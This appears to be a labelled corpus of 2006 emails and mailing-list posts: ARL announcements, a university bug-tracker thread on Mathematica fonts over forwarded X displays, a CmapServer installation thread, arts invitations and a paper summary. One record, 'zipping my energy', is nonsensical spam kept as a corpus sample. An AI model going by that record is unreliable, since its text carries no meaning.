Instrumentation used for lunar and planetary imaging, videography, or routine visual work * Historical observations of particular relevance * On-going and future opportunities for Pro-Am (professional-amateur) collaboration * Value of continued systematic, simultaneous lunar and planetary visual observations Papers must be accompanied by an abstract of no more than 100 words. The abstracts should include * A description of the topic * The results or conclusions obtained * Additional background and other relevant information Abstracts may also contain reference to supporting figures, tables, and other graphics. The abstract must include: * Paper title * Authors' names and affiliations * Address * Telephone number * Fax number * E-mail address NO PAPER WILL BE CONSIDERED FOR PRESENTATION OR PUBLICATION THAT HAS BEEN PRESENTED OR PUBLISHED ELSEWHERE. Two copies of the abstract as described above should be submitted to Ken Poshedly (address info in ALPO Resources section of this Journal). Deadline for submission of the abstract is June 15, 2006. A special ALPO conference lunar & planetary imaging demo session will be held on Saturday morning of the conference. Led by ALPO member Larry Owens, the program will feature the use of the Registax 3.0 for stacking and preliminary processing of webcam-acquired images, along with post-processing techniques to use in your own graphics program (Adobe PhotoShop, Corel PhotoPaint, etc.). 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ARL is located on the Web at http://www.arl.org/. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 ARL Communications ,,,"On the ARL Server (Feb. 27, 2006)","On the ARL Server Week of February 27, 2006 The State of the Large Publisher Bundle: Findings from an ARL Member Survey by Karla Hahn, ARL Managing Digital Assets in Higher Education: An Overview of Strategic Issues by Donald J. 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A National Dialogue on Open Government and Secrecy, a national teleconference on March 13, 2006 Living the Future 6: WOW!—Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5–8, 2006 Library Assessment Conference Call for Papers—Due April 15 Nominations for 2006 Service Quality Evaluation Academy—Due May 1 Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 Job Posting: Communications and Administrative Coordinator for LibQUAL+™ and Statistics and Assessment Activities [PDF] ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 "Greg Recine <""greg csearch"">",bugs,"Mon, 27 Feb 2006 16:52:21 -0500",Mathematica fonts when running remotely via X,">Number: 2221 >Category: os-windows >Synopsis: Mathematica fonts when running remotely via X >Confidential: no >Severity: serious >Priority: medium >Responsible: moriarty >State: analyzed >Class: support >Submitter-Id: stevens >Arrival-Date: Mon Feb 27 16:55:00 -0500 2006 >Closed-Date: >Last-Modified: Mon Apr 10 16:31:30 -0400 2006 >Originator: Greg Recine >Release: N/A >Organization: stevens >Environment: >Description: When running mathematica from a non-ISSA networked NetBSD machine (cygwin-X, MacOSX, linux laptops, etc), the fonts do not display properaly. In the Mathematica help guide (System Administration Guide -> Unix >How-To-Repeat: enter ""xset fp+ /usr/local/mathematica5.2/SystemFiles/Fonts/Type1/"" >Fix: >Release-Note: >Audit-Trail: From: Jan Schaumann To: bugs Cc: Subject: [grecine Re: os-netbsd/2221: Mathematica fonts when running remotely via X] Date: Wed, 1 Mar 2006 23:07:11 -0500 --z4+8/lEcDcG5Ke9S Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable ----- Forwarded message from Greg Recine ----- > Date: Mon, 27 Feb 2006 17:01:51 -0500 > From: Greg Recine > To: Jan Schaumann > CC: csearch > Subject: Re: os-netbsd/2221: Mathematica fonts when running remotely via X >=20 > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 >=20 > bugs wrote: > > Thank you very much for your problem report. > > It has the internal identification `os-netbsd/2221'. > > The individual assigned to look at your > > report is: jschauma.=20 > >=20 > >> Category: os-netbsd > >> Responsible: jschauma > >> Synopsis: Mathematica fonts when running remotely via X > >> Arrival-Date: Mon Feb 27 16:55:00 -0500 2006 > >=20 > >=20 > >> Description: > > When running mathematica from a non-ISSA networked NetBSD machine (cygw= in-X, MacOSX, linux laptops, etc), the fonts do not display properaly. In t= he Mathematica help guide (System Administration Guide -> Unix=20 > >=20 > >=20 > >> How-To-Repeat: > > enter ""xset fp+ /usr/local/mathematica5.2/SystemFiles/Fonts/Type1/"" >=20 > The rest of my description was cut off! Here's what it said (more or less) >=20 >=20 > When running Mathematica from a non-ISSA networked NetBSD machine > (cygwin-X, MacOSX, linux laptops, etc), the fonts do not display > properly. In the Mathematica help guide (System Administration Guide -> > Unix & Linux Administration -> Fonts (sec 6.6)) it tells users to set > their font path via xset. For some users (in this case, Chris Search on > his office desktop Macintosh) the xset command fails with the 'bad font > path element' and complains about something being unreadable (sorry for > the ambiguity, but I don' have those errors anymore). For myself (greg) > the command works just fine. >=20 > Any advice you have would be much appreciated. Perhaps this is a good > FAQ entry? > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.2.1 (NetBSD) >=20 > iQEVAwUBRAN2zbudkUHHBcLEAQLRZgf+JfWI+mYSPXnmqG+Mu1EmxAwJp1lqthD7 > HigO0RjHhF0KLI8AMfsm5cqNuIsj124zoJMu0ZKfx2Bml5938aIBL9KYP8OE7JSS > tylv3gygLZQVkP1yvuR3/wFU4iYie8aIx2QC5MN8UQa1vRMJmaQgqIIfuH5RnpS8 > WlieWDGNiK+gyePj74poCjgjSXN2g+8uwK1WWnCxYJ1qciQXl0v6RYdFBE3jIrzs > S2khPxsleVWffw6W8pquCmr3kx/vqpiOZa7mPfBGLitbCU9AZKVy5ddydaXV5m2R > UmaHiNMUZM1XOp7yw6iA74WTwZoTqIVW8z6BUeIMaW1m2ce8BW60cg=3D=3D > =3D1iwK > -----END PGP SIGNATURE----- ----- End forwarded message ----- --z4+8/lEcDcG5Ke9S Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.1 (NetBSD) iD8DBQFEBm9vH321zrgOg6URAjXfAJ0UkrZfrh7ooiYA1M0UZyxaJAzi/ACcCa/L GqfsBIChGzOf/4JI6LFWbuE= =Y5ZU -----END PGP SIGNATURE----- --z4+8/lEcDcG5Ke9S-- State-Changed-From-To: open->closed State-Changed-By: jschauma State-Changed-When: Wed, 08 Mar 2006 12:03:39 -0500 State-Changed-Why: Problems on non-ISSA networked machines can not be resolved by us. Sorry. From: greg To: bugs Cc: jschauma moriarty greg ogould Subject: Re: os-netbsd/2221 Date: Wed, 08 Mar 2006 22:46:27 -0500 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 jschauma wrote: | Synopsis: Mathematica fonts when running remotely via X | | State-Changed-From-To: open->closed | State-Changed-By: jschauma | State-Changed-When: Wed, 08 Mar 2006 12:03:39 -0500 | State-Changed-Why: | | Problems on non-ISSA networked machines can not be resolved by us. Sorry. | | | Sorry, I wasn't too clear. Not a non-ISSA networked machine, just a non netBSD workstation. The problem applies to the ISSA Windows and Macintosh machines that are on the network. As I try it now, it may also not work properly on the workstations as well. For example, I get: [greg greg]$ mathematica xset: bad font path element (#64), possible causes are: ~ Directory does not exist or has wrong permissions ~ Directory missing fonts.dir ~ Incorrect font server address or syntax set: bad font path element (#64), possible causes are: ~ Directory does not exist or has wrong permissions ~ Directory missing fonts.dir ~ Incorrect font server address or syntax followed by an error window about fonts. Oliver has seen the error as well. Can this be re-opened? Thanks, - greg -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.1 (GNU/Linux) iQEVAwUBRA+lEbudkUHHBcLEAQrSUwf/bTy+q9fOGhaGx6tfDA64c9ff7HmeB2bX wlGQX7qEeRdfhXsTYL2a2/+Ny6lib+38EN4FwVFbXB7ZJeYBzfkcisKQjl4ASQad W7dBr2erNUMaVWsIGpJIVD9nm/bnuMqIMlYarn6KG1SnFNn3wRsL/12R6XZmWB6g x3EuBDN/osAnkJ+5k5FVyzSdWvPUvv0PG9uIzZZtzGV96m7cwZuFBNwwy36+mo29 LJtWjwHMzQMM4XWcjvm4Lk6Qtev6qmHV4O98v8yH7EWb1EKWrP955CfV8k8cD3UO s3DE9Cxc72l8jOM1xfswM7tbdg0XIozwHKB6l3OCuoGncOg0aP3s+w== =WSQ5 -----END PGP SIGNATURE----- State-Changed-From-To: closed->open State-Changed-By: jschauma State-Changed-When: Thu, 09 Mar 2006 08:43:59 -0500 State-Changed-Why: problem reported to exist on our systems as well From: Jan Schaumann To: greg Cc: bugs moriarty ogould Subject: Re: os-netbsd/2221 Date: Thu, 9 Mar 2006 10:54:15 -0500 --IS0zKkzwUGydFO0o Content-Type: text/plain; charset=us-ascii Content-Disposition: inline greg wrote: > Sorry, I wasn't too clear. Not a non-ISSA networked machine, just a non > netBSD workstation. The problem applies to the ISSA Windows and > Macintosh machines that are on the network. So the problem you're reporting is that when forwarding the X display from a NetBSD machine to a non-NetBSD machine such as Windows or Macintosh, the font path is not found to be correct? The category os-netbsd seems wrong, then. This would be a problem in the X server on the machine that is doing the display. If we provide an X server in the Windows installation, then this needs to be fixed there (and this will become a windows PR). For the single Macintosh machine we currently support, we should install a native version of mathematica (if we have one) and obsolete the need to forward your display to an X server that would have to have been installed by the user (since we did not install it) which that user could of course also fix fontpath wise. -Jan --IS0zKkzwUGydFO0o Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.1 (NetBSD) iD8DBQFEEE+nH321zrgOg6URAuEaAJ49jL/N90TKkFhfCLuXiNl7ZMf0gQCcC6Kg aSkUKpLRPhf/BVUTPAyYR9o= =Y9vC -----END PGP SIGNATURE----- --IS0zKkzwUGydFO0o-- State-Changed-From-To: open->feedback State-Changed-By: jschauma State-Changed-When: Thu, 09 Mar 2006 18:47:45 -0500 State-Changed-Why: Clarification requested as to whether this appears to be a problem with Windows or with Mac OS X. From: Greg Recine To: bugs Cc: jschauma moriarty greg csearch Subject: Re: os-netbsd/2221 Date: Fri, 10 Mar 2006 17:23:19 -0500 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 jschauma wrote: > Synopsis: Mathematica fonts when running remotely via X > > State-Changed-From-To: open->feedback > State-Changed-By: jschauma > State-Changed-When: Thu, 09 Mar 2006 18:47:45 -0500 > State-Changed-Why: > > Clarification requested as to whether this appears to be a problem > with Windows or with Mac OS X. > > > It happens even on the NetBSD workstation on my desk. It's a 'xset' issue: [greg greg]$ mathematica xset: bad font path element (#56), possible causes are: Directory does not exist or has wrong permissions Directory missing fonts.dir Incorrect font server address or syntax xset: bad font path element (#56), possible causes are: Directory does not exist or has wrong permissions Directory missing fonts.dir Incorrect font server address or syntax The Mathematica documentation shows how to solve this by setting the font path with xset, but I can't seem to find it now ... anyway, the main problem was the the xset fp whatever command which did not fix the problem! Just run mathematica and you should see the problem. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.1 (NetBSD) iQEVAwUBRBH8VbudkUHHBcLEAQIMkgf6A4MFl9GbGhcZ0IaLkub9O2FDqdnVrCmx qbK+Qeno3O20pcTHrxm+vM4vwLiL+uWKav4UmVBEd2UdVnaxug1Q6MZnZBRIUKvl 7JqpU2+R3U9SwZc+0YUC9NMuX7giAg4E+dYJmQMlEzZGUTHJXlV/3nu5//O8Xzyb UGXgdMEk53VhX6uUnojJHCG+uWhI4CIX0s5cDvF+fa6DPrhBmlHZv2mVxHNYUU2k vt/4580+UzmuXPUOvsY5F8J4Ej5tnAQZx85rEQxQl8BHgD7L9VEt1S5Tt5g4IqZN 6hWUaccgE9Cb2gdfkuuCRKuIhKw7WpcUDbaBVzgNPlbe+rG9nprqBA== =5FSb -----END PGP SIGNATURE----- From: Greg Recine To: greg Cc: bugs jschauma moriarty csearch Subject: Re: os-netbsd/2221 Date: Fri, 10 Mar 2006 17:43:31 -0500 (EST) On Fri, 10 Mar 2006, Greg Recine wrote: > Date: Fri, 10 Mar 2006 17:23:19 -0500 > From: Greg Recine > Reply-To: greg > To: bugs > Cc: jschauma moriarty greg > csearch > Subject: Re: os-netbsd/2221 > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > jschauma wrote: >> Synopsis: Mathematica fonts when running remotely via X >> >> State-Changed-From-To: open->feedback >> State-Changed-By: jschauma >> State-Changed-When: Thu, 09 Mar 2006 18:47:45 -0500 >> State-Changed-Why: >> >> Clarification requested as to whether this appears to be a problem >> with Windows or with Mac OS X. >> >> >> > It happens even on the NetBSD workstation on my desk. It's a 'xset' issue: > > > [greg greg]$ mathematica > xset: bad font path element (#56), possible causes are: > Directory does not exist or has wrong permissions > Directory missing fonts.dir > Incorrect font server address or syntax > xset: bad font path element (#56), possible causes are: > Directory does not exist or has wrong permissions > Directory missing fonts.dir > Incorrect font server address or syntax > > > The Mathematica documentation shows how to solve this by setting the > font path with xset, but I can't seem to find it now ... anyway, the > main problem was the the xset fp whatever command which did not fix the > problem! > > Just run mathematica and you should see the problem. > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.2.1 (NetBSD) > > iQEVAwUBRBH8VbudkUHHBcLEAQIMkgf6A4MFl9GbGhcZ0IaLkub9O2FDqdnVrCmx > qbK+Qeno3O20pcTHrxm+vM4vwLiL+uWKav4UmVBEd2UdVnaxug1Q6MZnZBRIUKvl > 7JqpU2+R3U9SwZc+0YUC9NMuX7giAg4E+dYJmQMlEzZGUTHJXlV/3nu5//O8Xzyb > UGXgdMEk53VhX6uUnojJHCG+uWhI4CIX0s5cDvF+fa6DPrhBmlHZv2mVxHNYUU2k > vt/4580+UzmuXPUOvsY5F8J4Ej5tnAQZx85rEQxQl8BHgD7L9VEt1S5Tt5g4IqZN > 6hWUaccgE9Cb2gdfkuuCRKuIhKw7WpcUDbaBVzgNPlbe+rG9nprqBA== > =5FSb > -----END PGP SIGNATURE----- > OK, now I'm feeling like I'm on crack. I logged out and tried twm and kde as my window managers and Mathematica worked. Now I'm back into gnome and it still works. I have no idea what just happened, except I entered the xset +fp /usr/local/mathematica5.2/SystemFiles/Fonts/Type1 command before I logged out the first time. Oh, well I hope this helps. From: Jan Schaumann To: greg csearch Cc: moriarty bugs Subject: Re: os-netbsd/2221: Mathematica fonts when running remotely via X Date: Fri, 7 Apr 2006 11:21:33 -0400 --k1lZvvs/B4yU6o8G Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Greg Recine <""greg csearch""> wrote: > >Synopsis: Mathematica fonts when running remotely via X I *still* can't reproduce the problem. I've tried four different workstations, and even tried using your account. No matter what I do, mathematica starts up without giving any problems. If you still see the problem, please specify on which machine you're locally logged in (ie the X server is running) and from which machine the display is forwarded. -Jan --k1lZvvs/B4yU6o8G Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (NetBSD) iD8DBQFENoN8H321zrgOg6URAn2fAJ9XTpvZThhVqcJ13yhiqeAx3uoYEACfeDPm rpCHbUnWAKLhitiEiHrCMHw= =aBgc -----END PGP SIGNATURE----- --k1lZvvs/B4yU6o8G-- From: Jan Schaumann To: bugs Cc: Subject: Re: os-netbsd/2221: Mathematica fonts when running remotely via X Date: Fri, 7 Apr 2006 12:23:30 -0400 --ZfOjI3PrQbgiZnxM Content-Type: multipart/mixed; boundary=""EeQfGwPcQSOJBaQU"" Content-Disposition: inline --EeQfGwPcQSOJBaQU Content-Type: text/plain; charset=us-ascii Content-Disposition: inline --EeQfGwPcQSOJBaQU Content-Type: message/rfc822 Content-Disposition: inline Return-Path: X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on guinness.cs.stevens.edu X-Spam-Level: X-Spam-Status: No, score=-2.1 required=4.0 tests=BAYES_00,HTML_40_50, HTML_MESSAGE autolearn=ham version=3.1.0 X-Original-To: jschauma Delivered-To: jschauma Received: from xproxy.gmail.com (xproxy.gmail.com [66.249.82.198]) by guinness.cs.stevens-tech.edu (Postfix) with ESMTP id C750D16487 for ; Fri, 7 Apr 2006 12:22:44 -0400 (EDT) Received: by xproxy.gmail.com with SMTP id i31so307774wxd for ; Fri, 07 Apr 2006 09:22:44 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:references; b=qhQKwDyxLsgpDU6scgoV7bsPisVlpdsmFxz3jincN0KE2I0Xe7covK/qsLO1h5b+X/FUJJTQjUi4sMI9x0DfMV47VAWduzFXLfEf6a50W6+E4eNkTbQTtYC2ynxPvRMIMMndEpEX2qw79QWLHULgmfgnnNe6Hc2MbegZ1T7q0BY= Received: by 10.70.108.19 with SMTP id g19mr2935329wxc; Fri, 07 Apr 2006 09:22:44 -0700 (PDT) Received: by 10.70.125.19 with HTTP; Fri, 7 Apr 2006 09:22:44 -0700 (PDT) Message-ID: <272f93b00604070922s709a3d30mf1a3ac67398da09b> Date: Fri, 7 Apr 2006 12:22:44 -0400 From: ""Christopher Search"" To: ""Jan Schaumann"" Subject: Re: os-netbsd/2221: Mathematica fonts when running remotely via X In-Reply-To: <20060407152132.GA9035> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_Part_18732_17763688.1144426964577"" References: <20060227215500.849DC245A4E> <20060407152132.GA9035> ------=_Part_18732_17763688.1144426964577 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hi, The problem we had was trying to input curly brackets , { }, for a matrix i= n Mathematica. Most of the 'normal' letters and numbers could be input withou= t a problem. Chris On 4/7/06, Jan Schaumann wrote: > > Greg Recine <""greg csearch""> wrote: > > > >Synopsis: Mathematica fonts when running remotely via X > > I *still* can't reproduce the problem. I've tried four different > workstations, and even tried using your account. No matter what I do, > mathematica starts up without giving any problems. > > If you still see the problem, please specify on which machine you're > locally logged in (ie the X server is running) and from which machine > the display is forwarded. > > -Jan > > > ------=_Part_18732_17763688.1144426964577 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hi, The problem we had was trying to input curly brackets , { }, for a matrix in Mathematica. Most of the 'normal' letters and numbers could be input without a problem. Chris On 4/7/06, Jan Schaumann > wrote: Greg Recine <""greg ens.edu, csearch"" href=3D""http://stevens.edu"">stevens.edu&g= t; wrote:> >Synopsis:       Mat= hematica fonts when running remotely via X I *still* can't reproduce the problem.  I've tried four d= ifferentworkstations, and even tried using your account.  No = matter what I do,mathematica starts up without giving any problems.= If you still see the problem, please specify on which machine you're locally logged in (ie the X server is running) and from which machinethe display is forwarded.-Jan ------=_Part_18732_17763688.1144426964577-- --EeQfGwPcQSOJBaQU-- --ZfOjI3PrQbgiZnxM Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (NetBSD) iD8DBQFENpICH321zrgOg6URAnO1AJ9d6mTX7DrbgIvzos2pckLd+21qlACcDkx+ lqbJUbEOC8Gz/osXOfWjg2g= =pG/b -----END PGP SIGNATURE----- --ZfOjI3PrQbgiZnxM-- From: Jan Schaumann To: bugs Cc: Subject: Re: os-netbsd/2221 Date: Mon, 10 Apr 2006 14:44:55 -0400 --RnlQjJ0d97Da+TV1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline The problem only manifests itself under the following circumstances: - the user is logged into lab.cs from a windows machine, providing a cygwin X server to which the display is forwarded - the user is logged into lab.cs from a Mac OS X machine, providing an X server to which the display is forwarded - the user is logged in from some other unsupported private laptop and forwards the X display to that machine --RnlQjJ0d97Da+TV1 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (NetBSD) iD8DBQFEOqenH321zrgOg6URAoVBAJwKD0DISq4E3LNfWZJVmSiKLBWm8QCeLuZx nRLqU1y3PKaBw5eo7JYOsp0= =O2h6 -----END PGP SIGNATURE----- --RnlQjJ0d97Da+TV1-- State-Changed-From-To: feedback->open State-Changed-By: jschauma State-Changed-When: Mon, 10 Apr 2006 14:45:29 -0400 State-Changed-Why: feedback provided From: Jan Schaumann To: bugs Cc: Subject: Re: misc/2221 Date: Mon, 10 Apr 2006 15:03:16 -0400 --YiEDa0DAkWCtVeE4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline So... to fix the problem, the following should be done: - mathematica should be installed on all supported machines locally - Somebody (tm) needs to write up the instructions necessary to forward the display and copy over the appropriate fonts for machines that we do not support. --YiEDa0DAkWCtVeE4 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (NetBSD) iD8DBQFEOqv0H321zrgOg6URAmOJAKCZh/8t97yjweCo+YwzIuPB9Re0eQCdGQ2J CCI4oQx1k6iuJqtDxeFx0RE= =dzUJ -----END PGP SIGNATURE----- --YiEDa0DAkWCtVeE4-- Responsible-Changed-From-To: jschauma->moriarty Responsible-Changed-By: jschauma Responsible-Changed-When: Mon, 10 Apr 2006 16:31:30 -0400 Responsible-Changed-Why: This has become a windows issue. State-Changed-From-To: open->analyzed State-Changed-By: jschauma State-Changed-When: Mon, 10 Apr 2006 16:31:30 -0400 State-Changed-Why: We have determined the problem to be on the user-site of the remote connection. The NetBSD machines work fine, the Mac OS workstation we support now has a local copy of the application and the remaining windows machines should get a local copy of mathematica installed as well. >Unformatted:",0,1 Taya Mueller ,,"Mon, 27 Feb 2006 17:42:10 -0500",Invitation: Aga Khan Music Initiative planning committee,"Hi there, On behalf of the CUArts staff, you're invited to an informal meeting on Friday, 3.04 (2-3pm) in Lerner Piano Lounge regarding the upcoming CUArts Aga Khan Music Initiative concert on 3.21. (see links below signature) Snacks provided--RSVP your name & group name to this email. AKMI is the same organization that presented the Silk Road recordings with internationally-renowned cellist Yo-Yo Ma a few years ago. We're obviously thrilled to present something of this calibre on campus & in addition to the concert on 3.21 (=Persian/Zoroastrian/B'Hai New Year!) we're also doing a Kids Concert, a brown bag lunch with SIPA, etc. All of these events will be FREE for CU id's! We'd like to debrief you on the project then solicit your ideas for ways to inform and include students in these opportunities. Your input is highly valued & will make this a true Columbia community event rather than simply a world-class event AT our campus. Hope to see you Friday AND--also below my signature--you'll find invitations to 2 events this Sunday which we hope you will also attend and forward freely. Regards, -t- --- Taya Mueller CUArts.com tem2130@columbia.edu 212.851.1872 http://www.cuarts.com/musicofcentralasia.htm http://www.akdn.org/Music/Musicin.htm http://www.akdn.org/ http://en.wikipedia.org/wiki/Aga_Khan http://en.wikipedia.org/wiki/Persian_New_Year *SUNDAY, MARCH 5 5 - 7PM* *ARTS ALLIANCE MEETING* *Sponsored by Columbia Arts Initiative ** Lerner Piano Lounge* architecture • dance • film • literature • music • theatre • visual arts ALL INTERESTED GRADS & UNDERGRADS WELCOME This is a monthly, informal forum to discuss campus arts issues: space, funding for student projects, access to better performance venues, etc. CU Arts needs to know what you think so we can represent you to the administration. RSVP TO cuarts@columbia.edu (and let us know what kind of pizza to buy you) followed by: *78th ACADEMY AWARDS VIEWING PARTY & * * CUARTS.COM 2.0 CELEBRATION ** **Mona Bar & Lounge @ Amsterdam & 109 th** Sunday, March 5th / 7pm-midnight 18+ welcome / 21+ & 2 id's to drink CU drink specials, snacks, ballot contest & prizes * RSVP TO cuarts@columbia.edu *CUArts congratulates the faculty, alumni, and students whose films have been nominated:* *BROKEBACK** MOUNTAIN** * James Schamus, SOA Film Faculty, Producer Michael Hausman, SOA Adjunct Film Faculty, Executive Producer *CAPOTE* Philip Seymour Hoffman, SOA Adjunct Film Faculty, Best Actor *WALK THE LINE* James Mangold (SOA '99), Director *MURDERBALL* Henry Alex Rubin (SOA '98), Co-director, Best Documentary *Our Time is Up* Pia Clemente (BC '93), Director, Short Film-Live Action",0,1 Pauline Clark ,DMDX@psy1.psych.arizona.edu,"Mon, 27 Feb 2006 14:11:30 -0500",zipping my energy,"! offsaddle a strickland a explain try confidant a cellular ",1,0 ,,,Re: [Cmaptools] Re: CmapServer Installation Linux,"Hello, I can confirm that everything is running now. There is this ""-console"" flag which made it possible to run the installer in an interactive mode in the text-only environment. ""Console"" mode: LinuxCmapServer_v4.02_02-02-06.bin -i console"" After the installation I installed the CmapServer on a remote computer I use for administration to install the AdminTools, too, because they are not available as a single download, as Rodrigo mentioned. I was able to administer the fresh installed CmapServer afterwards. Thank you again for your fast and detailed help. Kind Regards, Johannes > To unsubscribe, E-mail to: > ----------------------------------- > All, > > I just want to provide a summary of the messages we had > exchanged with Johannes regarding to the installation of a > CmapServer in a Linux machine without X11 installed. In > order to install a CmpServer in Linux you don' t need X11 > installed, because the CmapServer can be installed in > console mode or providing the variables in a properties > file. > > Johannes problem was caused by an old > CmapServer.properties file we had in our website, > > After Johannes installed successfully the CmapServer, he > wanted to know how to use the AdminTools to adminstrate > the CmapServer and to identify if the CmapServer was > running. Our answer to Johannes was: > > ""The AdminTool cannot be run in a text-only environment"" > ..... > ""You don't need to install X11 in the [Linux] server > machine. As you know, the CmapServer program does not have > a GUI and you can run the AdminTools from any other > computer and administrate the CmapServer remotely, even > from a machine with a different operating system. At this > time we don't have a separate installer for the AdminTool, > but you can download the CmapServer installer into a > Windows machine and install it, then you will get the > AdminTool executable file. The best way to know if the > CmapServer is up and running, is running a CmapTools > client and see if the new CmapServer shows up in the All > Places view."" > > Sincerely, > > Rodrigo Carvajal > > > > On Wed, 15 Feb 2006 11:43:33 -0600 > ""Johannes Sienknecht"" wrote: >> To unsubscribe, E-mail to: >> ----------------------------------- > Hello, > > Thank you very much for your answers, sadley the problems > still resist... > > > 1.: > I tried to start the AdminTool - I did not expect to get > it running because > the server ist not running, but maybe the errormessage is > interesting... > Do I need X11 to use the CmapServer and/or the AdminTool? > > --- > > #:/opt/CmapServer/bin$ ./AdminTool > Invocation of this Java Application has caused an > InvocationTargetException. > This application will now exit. (LAX) > > Stack Trace: > java.awt.HeadlessException: > No X11 DISPLAY variable was set, but this program > performed an operation > which requires it. > > --- > > 2.: > I edited the serverconfig.txt as far as I could. In the > last mailing I > mentioned , that I do not understand all of it. I inserted > the IP and a > hostname and also a name behind server.name. Java is > running, and I do > receive an email, that CmapServer is started succesfully, > but in the logfile > there are messages, that the configuration file is without > the inserted > informations, and that CmapServer failed to initialize. > > --- > > [From logfile like in the attached file] > > Found network interface: lo > lo: 127.0.0.1 > Returning: 213.239.220.73 > IP address not found in configuration file. > Use IP address: 213.239.220.73 > Hostname not found in configuration file. > Use hostname: 213-239-220-73.clients.your-server.de > Could not find mandatory config entry or value is empty > for server.name > Aborting startup: CmapServer failed to start. > The CmapServer failed to initialize. > (CLASS: nlk.resio.StartupMonitor METHOD: abort LINE: 112) > nlk.exception.resio.ResioXcp: server.name > at > nlk.resio.CMapServerSettings.getRequired(CMapServerSettings.java:162) > at > nlk.resio.CMapServerShell.initRegistrationParameters(CMapServerShell.java:45 > 0) > at > nlk.resio.CMapServerShell.main(CMapServerShell.java:131) > at > sun.reflect.NativeMethodAccessorImpl.invoke0(Native > Method) > at > sun.reflect.NativeMethodAccessorImpl.invoke(Unknown > Source) > at > sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown > Source) > at java.lang.reflect.Method.invoke(Unknown > Source) > at com.zerog.lax.LAX.launch(DashoA8113) > at com.zerog.lax.LAX.main(DashoA8113) > > --- > > [received email from server:] > > This is an automatic message from: neture > > The CmapServer has been started successfully. > > > ------------------- Startup Information > ------------------- > > Started on: Feb 15, 2006 2:07:09 PM > > Running services: > - Soup > - AdminService > - CollaborationService > - SendMailService > - PingService > - IndexChangeService > - Resource > - DiscussionThreadService > > Server Configuration: > server.name: neture > server.version: 4.02 > server.ip.address: 213.239.220.73 > server.hostname: softmonsters.com > server.port: 4447 > webserver.port: 8080 > server.connection.mode: normal > > --- > > > > I have added the zipped logs-folder as an attachement. > > Rodrigo, you said I could send the cmapserver.txt, too - > but I can not find > it - I have attached the serverconfig.txt and the > properties instead. Where > can I find the cmapserver.txt file? > > Kind Regards, > Johannes > > ############################################################# > This message is sent to you because you are subscribed to the mailing list > . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > Send administrative queries to",0,0 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Mon, 27 Feb 2006 19:36:41 -0500",PAPER 10,"Andrew Cunningham arc39 _Samsara:_Honor_Among_Thieves_in_Peer_to_Peer_Storage_ Landon P Cox, Brian D Noble An attempt to ensure fairness in peer to peer storage without falling back on trusted third parties, centralized infrastructure, constraints on data placement, monetary payment, or certified identities. It does this through a symmetric storage relationship. The motivation is that peer to peer storage systems rely on individual nodes consuming storage space in proportion to their contribution, in order to ensure sufficient storage space availability. Some solutions rely on trusted third parties to enforce quotas; this is clearly a sufficient, if unsatisfying, aolution. They suggest symmetric storage -- A stores on B <==> B stores on A -- as a grassroots solution. The next insight is that if these relationships don't naturally occurr, they can be 